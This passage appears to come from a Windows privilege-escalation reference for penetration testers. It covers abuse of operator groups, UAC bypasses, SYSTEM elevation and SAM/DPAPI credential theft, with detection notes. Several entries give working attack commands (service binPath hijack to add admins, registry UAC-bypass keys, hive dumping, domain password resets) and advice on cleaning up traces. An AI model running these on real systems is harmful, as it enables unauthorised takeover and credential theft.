SeTcbPrivilege corresponds to Act as part of the operating system. Microsoft's archived policy reference describes low-level authentication services as the typical users of this right. A Windows access token represents user identity, groups and privileges separately; a privilege assignment should not be used as an account name.

Applicability: All supported Windows versions if the privilege is held (very rarely granted).

Reviewed claims

• The archived Microsoft policy reference identifies low-level authentication services as the typical users of SeTcbPrivilege.

  Microsoft — Act as part of the operating system (archived policy reference) — Reference

  Microsoft — Act as part of the operating system (archived policy reference)

• A Windows access token records user identity, group membership and privileges as distinct information.

  Microsoft — Access Tokens — Access token contents

  Microsoft — Access Tokens

Requires

• SeTcbPrivilege in the token

Example commands

# No off-the-shelf one-liner: requires custom code calling LsaLogonUser to make and impersonate a token
:: build and run a SeTcb LsaLogonUser PoC (gtworek PsBits)

Tools

• gtworek PsBits (VirtualAccounts / TcbElevation)

References

• MITRE ATT&CK · T1134.003 · taxonomy source
• Microsoft — Act as part of the operating system (archived policy reference) · primary source
• Microsoft — Access Tokens · primary source
• Priv2Admin, Windows privilege abuse · community source

OPSEC / detection: Rarely granted; abnormal LSA logon calls are detectable.

SeRelabel

Understand mandatory integrity labels and their modification.

SeRelabelPrivilege concerns modification of an object's integrity label. Mandatory Integrity Control is a Windows access-control mechanism that operates in addition to discretionary access-control lists. An integrity label and an object's discretionary permissions are separate security properties.

Applicability: All supported Windows versions if held (almost never granted); needs a High-integrity context.

Reviewed claims

• SeRelabelPrivilege corresponds to modifying an object's integrity label.

  Microsoft — Modify an object label (archived policy reference) — Reference

  Microsoft — Modify an object label (archived policy reference)

• Windows Mandatory Integrity Control provides access control in addition to discretionary access-control lists.

  Microsoft — Mandatory Integrity Control — Opening definition

  Microsoft — Mandatory Integrity Control

Requires

• SeRelabelPrivilege
• High-integrity context

References

• MITRE ATT&CK · T1134 · taxonomy source
• Microsoft — Modify an object label (archived policy reference) · primary source
• Microsoft — Mandatory Integrity Control · primary source
• Decoder, Abusing the SeRelabelPrivilege · research source

OPSEC / detection: A serious misconfiguration if a standard user holds it; taking ownership of a SYSTEM process is a strong detection.

Backup Operators

Group grants SeBackup/SeRestore for reading SAM/NTDS.

Members of the Backup Operators group are granted SeBackupPrivilege and SeRestorePrivilege. Enable them in your token, then read the protected SAM/SYSTEM hives locally and dump the local hashes offline, converging on the same SeBackup/SeRestore tradecraft (the ntds.dit-on-a-DC path is covered under SeBackup/SeRestore).

Applicability: All supported Windows / Server versions.

Requires

• Membership in Backup Operators
• Privilege present in the token but may need explicit enabling; on interactive logon with UAC/AAM the token can be filtered, so obtain a non-filtered token (e.g. WinRM) or run in an elevated context

Example commands

# Confirm group membership
whoami /groups | findstr /i "Backup"

# Save hives (SeBackup)
reg save HKLM\SAM C:\Temp\sam.hive & reg save HKLM\SYSTEM C:\Temp\system.hive

Tools

• impacket-secretsdump

References

• MITRE ATT&CK · T1003.002 · taxonomy source
• mpgn, BackupOperatorToDA · primary source
• PentestLab, Backup Operator · community source

OPSEC / detection: The privileges are not enabled by default in a non-elevated token. Same detection profile as SeBackup/SeRestore.

Server Operators

Reconfigure a DC service binPath to run as SYSTEM.

On Domain Controllers, the Server Operators group can manage services. Reconfigure a SYSTEM service binPath to your command and restart it to execute as SYSTEM on the DC, directly compromising the domain.

Applicability: All supported Windows Server versions (Domain Controllers).

Requires

• Membership in Server Operators (on a DC)
• Ability to start/stop a target service

Example commands

# Hijack a service binPath (on a DC this grants BUILTIN\Administrators = domain-admin-equivalent)
sc config <svc> binpath= "cmd /c net localgroup administrators <YOUR-DOMAIN-USER> /add"

# Trigger (net.exe is not a service binary, so the start returns error 1053; the command already ran as SYSTEM, this is expected)
sc stop <svc> & sc start <svc>

Tools

• sc (built-in)

References

• MITRE ATT&CK · T1543.003 · taxonomy source
• HackingArticles, Server Operator Group · community source

OPSEC / detection: sc config + service restart on a DC is high-signal. Restore the original binPath afterward.

DnsAdmins

Load a DnsPlugin DLL into the SYSTEM DNS service.

Members of DnsAdmins can set the ServerLevelPluginDll value via dnscmd, pointing the DNS service at a plugin DLL with no path validation. Restarting the DNS service (often on a DC, running as SYSTEM) loads your DLL as SYSTEM. The DLL must be a real DNS plugin: it has to export DnsPluginInitialize / DnsPluginQuery / DnsPluginCleanup (returning 0) and run the payload in a new thread, or dns.exe fails to start and the session dies. A plain msfvenom DLL lacks these exports; use mimilib.dll or a custom DnsPlugin DLL. Highly disruptive: the DNS service may crash.

Applicability: All supported Windows Server versions running the DNS role.

Requires

• Membership in DnsAdmins
• Permission to restart the DNS service

Example commands

# Point DNS at a DnsPlugin DLL
dnscmd.exe /config /serverlevelplugindll C:\Temp\mimilib.dll

# Restart DNS to load it (DnsAdmins-native trigger)
dnscmd <server> /restart

# sc.exe restart (only if you hold service-control / local-admin rights)
sc.exe stop dns && sc.exe start dns

Tools

• dnscmd (built-in)
• mimilib.dll (mimikatz)

References

• MITRE ATT&CK · T1543.003 · taxonomy source
• Shay Ber, Feature not bug: DNSAdmin to DC compromise in one line · research source
• labofapenetrationtester, Abusing DNSAdmins · community source

OPSEC / detection: ServerLevelPluginDll write under DNS\Parameters and DNS.exe spawning a child are strong detections. Disruptive to AD DNS.

Hyper-V Administrators

Redirect vmms.exe (SYSTEM) file ops via a hardlink to escalate.

Hyper-V Administrators can make vmms.exe, which runs as SYSTEM, perform file operations on paths they otherwise cannot touch. During VM deletion vmms.exe resets the .vhdx permissions with an unimpersonated SetSecurity as SYSTEM; a hardlink redirects that permission-reset so you are granted a full-control DACL over an existing protected file. From there, chain a file-write-to-SYSTEM technique to execute. A hardlink/TOCTOU file-operation abuse of the service, not one specific CVE.

Applicability: Hosts where Hyper-V Administrators can drive vmms.exe storage operations. The vmms DACL-grant primitive is a by-design won't-fix (Microsoft ruled the group is not a security boundary), so it works wherever the group exists; what is version-gated is the follow-on file-write-to-SYSTEM chain, which later builds mitigate.

Requires

• Membership in Hyper-V Administrators
• A file-write-to-SYSTEM chain (e.g. CVE-2018-0952 / CVE-2019-0841 / DiagHub) available on the target build

References

• MITRE ATT&CK · T1068 · taxonomy source
• decoder.cloud, From Hyper-V Admin to SYSTEM · research source

OPSEC / detection: The vmms DACL grant is by-design and works everywhere the group exists; you still rely on winning a file-operation race against vmms.exe and on a write-to-SYSTEM step that later builds mitigate.

Print Operators

Group holds SeLoadDriverPrivilege; load vulnerable driver.

On a domain controller, the Print Operators group is granted SeLoadDriverPrivilege by default (to install printer drivers); this is not a workstation/member-server default, where "Load and unload device drivers" is assigned to Administrators only and BUILTIN\Print Operators is a DC-scoped, effectively-empty group. Where held, it is the precondition for the SeLoadDriver → BYOVD path: load a known-vulnerable signed driver and exploit it for kernel-mode code execution as SYSTEM.

Applicability: Group right is version-independent, but since Windows 10 1803 NtLoadDriver forbids driver-config registry references under HKEY_CURRENT_USER (exactly what the vanilla EoPLoadDriver flow creates), so the plain technique fails by default on 1803+ and needs a bypass. On modern builds the follow-on driver load is further limited by HVCI / driver blocklist, and drivers other than the deny-listed Capcom.sys are required.

Requires

• Membership in Print Operators (grants SeLoadDriverPrivilege)

Example commands

# Confirm group + privilege
whoami /groups | findstr /i Print
whoami /priv | findstr /i SeLoadDriver

Tools

• EoPLoadDriver

References

• MITRE ATT&CK · T1068 · taxonomy source
• Tarlogic, Abusing SeLoadDriverPrivilege for privilege escalation · research source
• Tarlogic, EoPLoadDriver (SeLoadDriverPrivilege abuse) · primary source

OPSEC / detection: Same as the SeLoadDriver path: driver-load events and the driver blocklist / HVCI may block it.

Event Log Readers

Read Security / PowerShell logs for leaked credentials.

Membership in Event Log Readers grants read access to the restricted Security event log; the PowerShell-Operational log is separately readable by any interactive user by default, so it is worth checking even without the group. Where process-creation auditing AND the "Include command line in process creation events" policy, or PowerShell script-block / module logging, are enabled, those logs frequently contain credentials passed on command lines or embedded in scripts. Harvest them and reuse the account.

Applicability: All supported Windows / Server versions (depends on logging configuration).

Requires

• Membership in Event Log Readers
• Credentials actually present in logged events

Example commands

# Search the Security log for passwords
wevtutil qe Security /f:text /rd:true /c:200 | findstr /i "password pass"

Tools

• wevtutil (built-in)

References

• MITRE ATT&CK · T1552 · taxonomy source
• OSCP/CPTS Notes, Event Log Readers · community source

OPSEC / detection: Read-only and quiet; success depends entirely on whether logging captured a secret.

Account Operators

Take over non-protected accounts; log on to DCs.

On a domain controller, Account Operators can create and modify users and groups that are NOT AdminSDHolder-protected (Domain Admins, the Operators groups, etc. are off-limits), and may log on locally to DCs. The path is indirect: reset the password of, or add yourself to, a delegated non-protected account or group that holds privileges (a custom admin group, an account with DCSync/GPO rights), then use those, rather than joining a protected group directly.

Applicability: All supported Windows Server versions (Active Directory).

Requires

• Membership in Account Operators
• A privileged NON-protected account or group to take over

Example commands

# Reset a non-protected user's password
net user <user> <NewPass> /domain

# Add yourself to a delegated non-protected group
net group "<Group>" <you> /add /domain

# ADModule equivalents
Set-ADAccountPassword -Identity <user> -Reset -NewPassword (ConvertTo-SecureString "<NewPass>" -AsPlainText -Force)
Add-ADGroupMember -Identity "<Group>" -Members <you>

Tools

• net (built-in)

References

• MITRE ATT&CK · T1098 · taxonomy source
• kayssel, Account/Backup Operators & Event Log Readers · community source

OPSEC / detection: Password resets and group changes (Event ID 4724/4728/4732) are high-fidelity, and this is a domain-level change.

Administrators (Filtered Token)

Understand deny-only group SIDs and the UAC token model.

A deny-only group SID participates in access-denied checks but does not grant access through access-allowed entries. Its presence in a token therefore does not confer that group's allowed permissions. In UAC Admin Approval Mode, an administrator's standard and administrative tokens are distinct; elevation uses the administrative token. Account membership and the current process token need to be described separately.

Applicability: All supported Windows versions with UAC enabled.

Reviewed claims

• A deny-only SID is considered for access-denied entries and ignored for access-allowed entries.

  Microsoft, SID Attributes in an Access Token — SE_GROUP_USE_FOR_DENY_ONLY

  Microsoft, SID Attributes in an Access Token

• The UAC model uses separate standard and administrative access tokens for an administrator in Admin Approval Mode.

  Microsoft, How User Account Control works — Sign in process; The UAC user experience

  Microsoft, How User Account Control works

Requires

• Membership in local Administrators with a UAC-filtered token

References

• MITRE ATT&CK · T1548.002 · taxonomy source
• Microsoft, SID Attributes in an Access Token · primary source
• Microsoft, How User Account Control works · primary source

OPSEC / detection: No action by itself; it routes to the UAC-bypass / admin-to-SYSTEM techniques.

Admin Users

Distinguish administrator membership from the token used by an application.

An Administrators-group member can run ordinary applications with a standard user token. In the UAC Admin Approval Mode model, Windows provides separate standard and administrator tokens. Elevation uses an administrator token, and the consent or credential prompt is governed by policy. Group membership therefore does not describe the access token used by every application.

Applicability: Applicability has not been documented for this entry.

Reviewed claims

• Under the UAC Admin Approval Mode model, an administrator can run applications with a standard user token; Windows provides separate standard and administrator tokens.

  Microsoft, How User Account Control works — Sign in process; The UAC user experience

  Microsoft, How User Account Control works

• UAC uses consent or credential prompts for elevation, with prompt behavior controlled by policy.

  Microsoft, How User Account Control works — The UAC user experience; The credential prompt

  Microsoft, How User Account Control works

References

• Microsoft, How User Account Control works · primary source
• HackTricks, Windows Local Privilege Escalation · community source

category UAC Bypass

Understand filtered administrator tokens and UAC elevation.

Under UAC Admin Approval Mode, an administrator has a standard user token and an administrator token. The standard token filters administrative privileges and security identifiers for everyday applications. Using the full administrator token follows the configured elevation policy. Standard users can perform an administrative task by supplying valid administrator credentials when the policy permits it.

Reviewed claims

• The administrator sign-in model uses separate standard and administrator tokens; the standard token filters administrative privileges and security identifiers.

  Microsoft, How User Account Control works — Sign in process

  Microsoft, How User Account Control works

• UAC distinguishes administrator consent from a standard user supplying administrator credentials, with prompt behavior controlled by policy.

  Microsoft, How User Account Control works — The UAC user experience; The credential prompt; The consent prompt

  Microsoft, How User Account Control works

References

• MITRE ATT&CK · T1548.002 · taxonomy source
• Microsoft, How User Account Control works · primary source

category Elevate to SYSTEM

Distinguish LocalSystem from an interactive administrator account.

LocalSystem is a predefined account used by the service control manager and has extensive privileges on the local computer. It is not associated with a logged-on user account. Windows access tokens identify the account, groups, and privileges associated with a process or thread; LocalSystem describes an account identity, rather than a new name for an interactive administrator.

Reviewed claims

• LocalSystem is a predefined service-control-manager account with extensive local privileges and is not associated with a logged-on user account.

  Microsoft, LocalSystem Account — Introduction

  Microsoft, LocalSystem Account

• Access tokens contain account and group security identifiers and the account's privileges.

  Microsoft, Access Tokens — Access token contents

  Microsoft, Access Tokens

References

• MITRE ATT&CK · T1134.001 · taxonomy source
• Microsoft, LocalSystem Account · primary source
• Microsoft, Access Tokens · primary source

Fodhelper

Auto-elevate fodhelper via an HKCU ms-settings handler.

fodhelper.exe auto-elevates and reads HKCU\Software\Classes\ms-settings\shell\open\command (with DelegateExecute). Plant your command there and run fodhelper to execute at High integrity with no UAC prompt. Elevates an existing admin to High integrity; it does not turn a standard user into admin.

Applicability: Windows 10 (all builds) and Windows 11 through 24H2, plus Server 2016 and later. Unpatched per UACME (method 33, works from build 10240); the most reliable registry-handler UAC bypass.

Requires

• Member of local Administrators running at Medium integrity (default UAC)

Example commands

# Set the hijack key
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "cmd.exe" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f

# Trigger elevation
fodhelper.exe

# Clean up the signatured key afterward
reg delete "HKCU\Software\Classes\ms-settings" /f

Tools

• UACMe

References

• MITRE ATT&CK · T1548.002 · taxonomy source
• winscripting.blog, First entry: Welcome and fileless UAC bypass · research source
• PentestLab, UAC Bypass Fodhelper · community source

OPSEC / detection: The HKCU ms-settings shell-open-command key + fodhelper spawning cmd is a widely-signatured detection. Clean up the key afterward.

Event Viewer (eventvwr)

Hijack the mscfile handler eventvwr.exe auto-elevates.

eventvwr.exe is an auto-elevating Microsoft-signed binary that opens its .msc snap-in via the HKCU\Software\Classes\mscfile\shell\open\command handler, which is checked before the HKCR (system-wide) one and never validated. A medium-integrity admin can point that key at an arbitrary command; launching eventvwr.exe then runs it at High integrity with no UAC prompt (default UAC level; not "Always Notify").

Applicability: Legacy: Windows 7 – Windows 10 1607. Patched in the Creators Update (1703); does NOT work on modern builds.

Requires

• Member of local Administrators running at Medium integrity (default UAC)

Example commands

# Set the hijack key
reg add "HKCU\Software\Classes\mscfile\shell\open\command" /ve /t REG_SZ /d "cmd.exe" /f

# Trigger elevation
eventvwr.exe

Tools

• UACMe

References

• MITRE ATT&CK · T1548.002 · taxonomy source
• enigma0x3, Fileless UAC Bypass via eventvwr · research source

OPSEC / detection: The HKCU mscfile shell-open-command key + eventvwr.exe spawning cmd is a classic, widely-signatured detection. Remove the key afterward.

Sdclt

Auto-elevating sdclt via the Folder/App Path handler.

sdclt.exe (Backup and Restore) auto-elevates and, on Windows 10, spawns control.exe, which resolves its open command through HKCU\Software\Classes\Folder\shell\open\command. Plant your command in that key and launch sdclt to run at High integrity with no prompt. (A separate sdclt variant instead hijacks HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe; it does not use the Folder key.)

Applicability: Legacy: Windows 10 1507 to 1607. The Folder-command variant taught here was hardened around 1709 (RS3); it does NOT work on modern builds.

Requires

• Member of local Administrators at Medium integrity

Example commands

# Set the hijack key
reg add "HKCU\Software\Classes\Folder\shell\open\command" /ve /t REG_SZ /d "cmd.exe" /f
reg add "HKCU\Software\Classes\Folder\shell\open\command" /v DelegateExecute /t REG_SZ /d "" /f

# Trigger
sdclt.exe

Tools

• UACMe

References

• MITRE ATT&CK · T1548.002 · taxonomy source
• 0x1, Another sdclt UAC bypass (Folder\shell\open\command variant) · community source
• PentestLab, UAC Bypass Sdclt · community source

OPSEC / detection: HKCU Folder/command key + sdclt spawning cmd is signatured. Clean up afterward.

ComputerDefaults

Auto-elevating computerdefaults via ms-settings handler.

computerdefaults.exe auto-elevates and, like fodhelper, launches its target through the HKCU\Software\Classes\ms-settings\shell\open\command handler. Point that key at your command and run computerdefaults to execute at High integrity without a consent prompt.

Applicability: Windows 10 1803 and later, Windows 11, and Server 2019 and later. Same ms-settings handler as fodhelper, but per UACME (method 62) the ComputerDefaults variant only works from build 1803, so Server 2016 is not affected.

Requires

• Member of local Administrators at Medium integrity

Example commands

# Set the hijack key
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "cmd.exe" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f

# Trigger
computerdefaults.exe

Tools

• UACMe

References

• winscripting.blog, First entry: Welcome and fileless UAC bypass (ms-settings handler origin) · research source
• MITRE T1548.002, Bypass UAC · taxonomy source

OPSEC / detection: Shares the fodhelper ms-settings IOC; clean up the key.

CMSTPLUA / ICMLuaUtil

Auto-elevate via the CMSTP elevated COM interface.

This bypass abuses an auto-elevating COM object, the ICMLuaUtil "Elevated COM Interface" (CLSID {3E5FC7F9-9A51-4367-9063-A120244FBEC7}), to run a command as a High-integrity process. Implemented by UACMe method 41 and several public scripts; needs no file on disk.

Applicability: Windows 7 to Windows 11; the primitive is unfixed but the technique is heavily detected by default EDR/Sigma rules.

Requires

• Member of local Administrators at Medium integrity

Tools

• UACMe

References

• Oddvar Moe (api0cradle), UAC bypass using CMSTPLUA COM interface · community source
• MITRE T1548.002, Bypass User Account Control · taxonomy source

OPSEC / detection: The signal is a high-integrity process spawned by dllhost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7} (the CMSTPLUA COM surrogate), plus abnormal ICMLuaUtil::ShellExec calls; this method does not run cmstp.exe. Heavily covered by public Sigma/Elastic rules.

SilentCleanup Task

Abuse the auto-elevating SilentCleanup scheduled task.

The built-in SilentCleanup scheduled task runs "with highest privileges" yet is launchable by normal users. The task's action path (%windir%\system32\cleanmgr.exe) is expanded from the user-controlled environment block, so redirecting windir in HKCU\Environment makes the elevated task launch your binary instead.

Applicability: Windows 8.1 to Windows 11 (this environment-variable-expansion variant is documented from Windows 8.1, not plain Windows 8). On Server it only applies to installs with the Desktop Experience (GUI) feature, where cleanmgr.exe is present; it does not work out-of-the-box on Server Core, where cleanmgr.exe is absent by default.

Requires

• Member of local Administrators at Medium integrity

Example commands

# Run the task
schtasks /run /tn "\Microsoft\Windows\DiskCleanup\SilentCleanup" /i

Tools

• UACMe

References

• MITRE ATT&CK · T1548.002 · taxonomy source
• Tyranid's Lair, Exploiting Environment Variables in Scheduled Tasks · research source

OPSEC / detection: Environment-variable hijack in HKCU plus an elevated task spawning an odd child is detectable.

SYSTEM Service (PsExec / sc create)

Admin creates a service the SCM runs as SYSTEM.

A high-integrity administrator can register a Windows service whose binary the Service Control Manager launches as LocalSystem. Do it by hand with sc create, or let PsExec -s spin up a transient service and hand back a SYSTEM shell. (RunasCs does not create a service; it launches a process under another account when you hold suitable credentials or a token, which is the token/credential-impersonation lane.) The default administrator-to-SYSTEM step.

Applicability: All supported Windows versions.

Requires

• High-integrity administrator context

Example commands

# PsExec SYSTEM shell
PsExec64.exe -accepteula -s -i cmd.exe

# Manual service as SYSTEM
sc create svc binPath= "cmd /c C:\Temp\payload.exe" & sc start svc

Tools

• PsExec (Sysinternals)
• RunasCs

References

• MITRE ATT&CK · T1543.003 · taxonomy source
• RunasCs · primary source

OPSEC / detection: Service creation (Event ID 7045) and PsExec named pipes are classic detections.

Scheduled Task as SYSTEM

Understand LocalSystem as a scheduled task's execution identity.

A scheduled task has a security context associated with an account or group. LocalSystem is one Windows account identity, with extensive privileges on the local computer, and is separate from a logged-on user's account. The task's configured identity describes its execution context; the Task Scheduler label alone does not identify that account.

Applicability: All supported Windows versions.

Reviewed claims

• A scheduled task has a security context associated with the account or group specified for it.

  Microsoft, Security Contexts for Tasks — Specifying Credentials

  Microsoft, Security Contexts for Tasks

• LocalSystem has extensive local privileges and is not associated with a logged-on user account.

  Microsoft, LocalSystem Account — Opening account definition

  Microsoft, LocalSystem Account

Requires

• High-integrity administrator context

Example commands

# Create + run a SYSTEM task
schtasks /create /tn sysT /tr "C:\Temp\payload.exe" /sc once /st 00:00 /ru SYSTEM /f
schtasks /run /tn sysT

Tools

• schtasks (built-in)

References

• MITRE ATT&CK · T1053.005 · taxonomy source
• Microsoft, Security Contexts for Tasks · primary source
• Microsoft, LocalSystem Account · primary source

OPSEC / detection: Task creation (Event ID 4698) with a SYSTEM principal is a strong signal.

Token Impersonation (getsystem)

Duplicate a SYSTEM process token.

A high-integrity administrator can enable SeDebugPrivilege, open a process already running as SYSTEM (e.g. winlogon.exe), duplicate its token with DuplicateTokenEx, and spawn a new process with it: the manual / incognito / PowerSploit approach. Meterpreter getsystem reaches the same outcome differently: its token-duplication technique enumerates a service running as SYSTEM and reflectively injects into it to grab that service's token, and its other techniques use named-pipe impersonation.

Applicability: All supported Windows versions (token model).

Requires

• High-integrity administrator context (SeDebugPrivilege for token duplication; service-creation/SeImpersonate for the named-pipe technique)

Tools

• Meterpreter (getsystem)

References

• MITRE T1134.001, Token Impersonation · taxonomy source

OPSEC / detection: A handle to winlogon.exe (or another SYSTEM process), service creation, named-pipe impersonation, and reflective injection into a SYSTEM service are top-tier EDR detections.

Unprivileged Users

Understand standard-user access through identity and resource permissions.

Standard-user access still has a security context: the token identifies the account, its groups, and its privileges. Resources can grant permissions to particular users or groups through access-control entries. The label unprivileged should not be read as meaning that an account has no permissions; access is evaluated for the requested resource and operation.

Applicability: Applicability has not been documented for this entry.

Reviewed claims

• An access token carries the account identity, group information, and privileges used in security checks.

  Microsoft, Access tokens — Access token contents

  Microsoft, Access tokens

• Discretionary access-control entries can grant resource permissions to particular users or groups.

  Microsoft, DACLs and ACEs — Opening explanation and group-access example

  Microsoft, DACLs and ACEs

References

• Microsoft, Access tokens · primary source
• Microsoft, DACLs and ACEs · primary source
• HackTricks, Windows Local Privilege Escalation · community source
• carlospolop, winPEAS · primary source

category Stored Credentials

Distinguish credential storage from data-protection mechanisms.

Windows provides Credentials Management APIs for applications to obtain and manage information such as user names and passwords, including a user credentials store. DPAPI provides encryption and integrity protection for application data. These are different mechanisms: a storage location alone does not describe the protection applied to its contents.

Reviewed claims

• Windows Credentials Management APIs obtain and manage credential information and provide options to add information to the user's credentials store.

  Microsoft, Credentials Management — Introduction

  Microsoft, Credentials Management

• CryptProtectData encrypts application data and adds a keyed integrity check against tampering.

  Microsoft, CryptProtectData function — Introduction; Remarks

  Microsoft, CryptProtectData function

References

• MITRE ATT&CK · T1552 · taxonomy source
• Microsoft, Credentials Management · primary source
• Microsoft, CryptProtectData function · primary source

category Registry & Hives

Understand registry hives and access control on keys.

A registry hive groups keys, subkeys, and values with supporting files that Windows loads into memory. Registry keys are securable objects with security descriptors. Windows checks requested key access against that descriptor, so the registry's organization and a caller's permission to read or change a key are separate concepts.

Reviewed claims

• A hive is a logical grouping of registry keys, subkeys, and values with supporting files loaded into memory.

  Microsoft, Registry Hives — Introduction

  Microsoft, Registry Hives

• Registry keys have security descriptors, and opening a key checks the requested access rights against its descriptor.

  Microsoft, Registry Key Security and Access Rights — Introduction; RegOpenKeyEx access check

  Microsoft, Registry Key Security and Access Rights

References

• MITRE ATT&CK · T1552.002 · taxonomy source
• Microsoft, Registry Hives · primary source
• Microsoft, Registry Key Security and Access Rights · primary source

category Files & History

Recognize the confidentiality risk of secrets in files and history.

Files and command history can retain sensitive information. Microsoft documents that PSReadLine persists command history, which can contain passwords, and attempts to filter sensitive entries. That filtering should not be treated as a guarantee that history is free of secrets. CWE-312 describes the separate storage weakness of keeping sensitive information in cleartext where it may be accessible outside the intended control boundary.

Reviewed claims

• PSReadLine persists command history that can contain passwords and attempts to filter sensitive information; treating the filter as an absolute secrecy guarantee is not supported by this description.

  Microsoft, about_PSReadLine — Command History; the conclusion about a guarantee is an editorial inference from the documented limitation

  Microsoft, about_PSReadLine

• CWE-312 describes sensitive information stored in cleartext in a resource that may be accessible outside the intended control boundary.

  MITRE, CWE-312: Cleartext Storage of Sensitive Information — Description

  MITRE, CWE-312: Cleartext Storage of Sensitive Information

References

• MITRE ATT&CK · T1552.001 · taxonomy source
• Microsoft, about_PSReadLine · primary source
• MITRE, CWE-312: Cleartext Storage of Sensitive Information · taxonomy source

category Vaults & DPAPI

Understand the purpose and scope of DPAPI protection.

DPAPI lets applications encrypt data and adds a keyed integrity check to detect tampering. Decryption normally depends on the same user logon credentials and the same computer, with exceptions documented by Microsoft. A reference to DPAPI therefore describes a protection mechanism; it does not mean that every credential store has identical contents or behavior.

Reviewed claims

• CryptProtectData provides data encryption and a keyed integrity check.

  Microsoft, CryptProtectData function — Introduction; Remarks

  Microsoft, CryptProtectData function

• DPAPI decryption normally requires matching user logon credentials and the same computer, subject to documented exceptions.

  Microsoft, CryptProtectData function — Introduction; Remarks

  Microsoft, CryptProtectData function

References

• MITRE ATT&CK · T1555.004 · taxonomy source
• Microsoft, CryptProtectData function · primary source

category Service Misconfigurations

Separate service-object permissions from the service account.

Windows secures the service control manager and individual service objects through access rights and security descriptors. A running service uses the security context of its configured account, represented by an access token. Permission to manage a service object and the identity under which the service runs are distinct parts of the security model.

Reviewed claims

• The service control manager and individual service objects have separately defined access rights and security descriptors.

  Microsoft, Service Security and Access Rights — Introduction; Access Rights for the Service Control Manager; Access Rights for a Service

  Microsoft, Service Security and Access Rights

• The service control manager logs on the service's account and attaches the resulting access token to its process.

  Microsoft, Service User Accounts — Introduction

  Microsoft, Service User Accounts

References

• MITRE ATT&CK · T1543.003 · taxonomy source
• Microsoft, Service Security and Access Rights · primary source
• Microsoft, Service User Accounts · primary source

category DLL & PATH Hijacking

Understand dynamic libraries and their execution context.

A dynamic-link library is a module containing functions and data that other modules can use. Windows maps a loaded DLL into the calling process's virtual address space. An exported DLL function runs in the context of the thread that calls it; the DLL itself does not establish a separate privileged account.

Reviewed claims

• A DLL is a module containing functions and data usable by another application or DLL.

  Microsoft, Dynamic-Link Libraries — Introduction

  Microsoft, Dynamic-Link Libraries

• A loaded DLL occupies the process's virtual address space, and its exported functions run in the calling thread's context.

  Microsoft, About Dynamic-Link Libraries — DLLs and Memory Management

  Microsoft, About Dynamic-Link Libraries

References

• MITRE ATT&CK · T1574.001 · taxonomy source
• Microsoft, Dynamic-Link Libraries · primary source
• Microsoft, About Dynamic-Link Libraries · primary source

category Scheduled Tasks & Autoruns

Separate automatic startup from a task's security context.

Task Scheduler registers and runs each task under a specified security context associated with an account or group. Automatic startup also includes mechanisms such as Run and RunOnce registry entries, which launch programs at user logon. Being scheduled or started automatically does not, by itself, describe a program's administrative authority.

Reviewed claims

• Scheduled tasks run under a specified security context associated with an account or group.

  Microsoft, Security Contexts for Tasks — Introduction; Specifying Credentials

  Microsoft, Security Contexts for Tasks

• Run and RunOnce are registry mechanisms for starting programs at user logon.

  Microsoft, Run and RunOnce Registry Keys — Introduction

  Microsoft, Run and RunOnce Registry Keys

References

• MITRE ATT&CK · T1053.005 · taxonomy source
• Microsoft, Security Contexts for Tasks · primary source
• Microsoft, Run and RunOnce Registry Keys · primary source

category Privileged App & Service Abuse

Understand the authority of application and service processes.

Windows represents an application process's security context with an access token that identifies its account and privileges. A service runs with a token for its configured account. Understanding that execution context is part of understanding application security; the presence of an application or service alone does not establish administrative authority.

Reviewed claims

• An access token identifies the account and privileges associated with a process or thread.

  Microsoft, Access Tokens — Introduction

  Microsoft, Access Tokens

• A service executes in its configured account's security context and receives an access token for that account.

  Microsoft, Service User Accounts — Introduction

  Microsoft, Service User Accounts

References

• Microsoft, Access Tokens · primary source
• Microsoft, Service User Accounts · primary source

category Known Exploits (CVE)

Read vulnerability records and severity scores accurately.

A CVE Record describes a vulnerability associated with a CVE identifier and includes affected products, versions, and references. CVSS expresses vulnerability severity; NIST explicitly distinguishes it from risk. A record or score is information for review, not a demonstration of behavior on a particular computer.

Reviewed claims

• A CVE Record associates an identifier with descriptive vulnerability data, affected products and versions, and references.

  CVE Program, CVE Record Lifecycle — CVE Records

  CVE Program, CVE Record Lifecycle

• CVSS measures vulnerability severity and is not a measure of risk.

  NIST NVD, Vulnerability Metrics — Introduction

  NIST NVD, Vulnerability Metrics

References

• MITRE ATT&CK · T1068 · taxonomy source
• CVE Program, CVE Record Lifecycle · primary source
• NIST NVD, Vulnerability Metrics · primary source

SAM & SYSTEM Hive Dump

Save SAM+SYSTEM, extract local hashes offline.

Save the SAM and SYSTEM registry hives and process them offline to recover local NTLM hashes (the SYSTEM hive holds the bootkey that decrypts SAM). The reg save command below operates on the live registry and needs backup semantics (admin, SeBackup, or Backup Operators) at runtime; a read ACL on the hive files alone is not enough for it. The case where a misconfigured ACL lets an unprivileged user read the on-disk hive files (out of a shadow copy, no backup privilege) is HiveNightmare/SeriousSAM, covered separately. A cracked or passed-the-hash local admin enables lateral movement.

Applicability: All supported Windows versions (depends on read access to the hives).

Requires

• Backup semantics for reg save: admin, SeBackup/SeRestore, or Backup Operators (a file-read ACL alone is the HiveNightmare path)

Example commands

# Save hives
reg save HKLM\SAM C:\Temp\sam.hive
reg save HKLM\SYSTEM C:\Temp\system.hive

# Dump offline
impacket-secretsdump -sam sam.hive -system system.hive LOCAL

Tools

• impacket-secretsdump

References

• MITRE ATT&CK · T1003.002 · taxonomy source
• NVD, CVE-2021-36934 (HiveNightmare / SeriousSAM) · database source

OPSEC / detection: reg save of SAM/SYSTEM is a known credential-dumping IOC. Offline parsing on the attacker host is invisible.

DPAPI Secrets

Decrypt DPAPI-protected creds/vaults with masterkeys.

Windows Credential Manager entries and vaults are DPAPI-protected. With the user password (or SYSTEM access to the masterkey, or a domain DPAPI backup key) decrypt the masterkey, then the credential blobs. SharpDPAPI / mimikatz automate this. Chrome/modern-Edge saved logins are also DPAPI-wrapped but live in the browser's own Login Data store and are classified separately as T1555.003 (Credentials from Web Browsers); only IE/legacy-Edge web credentials land in Credential Manager (T1555.004).

Applicability: All supported Windows versions.

Requires

• User context / password, or SYSTEM, or the domain DPAPI backup key

Example commands

